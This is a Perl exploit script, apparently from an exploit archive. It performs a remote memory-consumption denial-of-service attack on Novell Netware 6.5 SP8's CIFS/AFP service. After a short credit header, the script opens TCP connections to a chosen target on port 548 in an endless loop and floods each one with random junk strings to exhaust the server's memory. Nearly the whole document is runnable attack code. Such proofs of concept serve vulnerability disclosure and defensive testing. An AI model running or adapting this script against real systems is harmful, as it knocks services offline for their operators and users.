1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
#!/usr/bin/perl # Novell Netware CIFS And AFP Remote Memory Consumption DoS # Platform: Novell Netware 6.5 SP8 # Found by Francis Provencher for Protek Research Lab's # http://protekresearch.blogspot.com/ # {PRL} Novell Netware CIFS.nlm Remote Memory Consumption Denial of Service # Here is a modified version from the script written by the researcher Jeremy Brown # http://jbrownsec.blogspot.com/2009/12/writing-code-that-breaks-code.html # use IO::Socket; use String::Random; $target = $ARGV[0]; $port = 548; $protocol = tcp; $maxsize= 666; $random = 0; if((!defined($target) || !defined($port) || !defined($protocol) || !defined($maxsize))) { print "usage: $0 <target> \n"; exit; } while(1) { $sock = IO::Socket::INET->new(Proto=>$protocol, PeerHost=>$target, PeerPort=>$port) or logit(); $rand = new String::Random; $random = $rand->randpattern("." x rand($maxsize)) . "\r\n\r\n"; $sock->send($random); close($sock); } |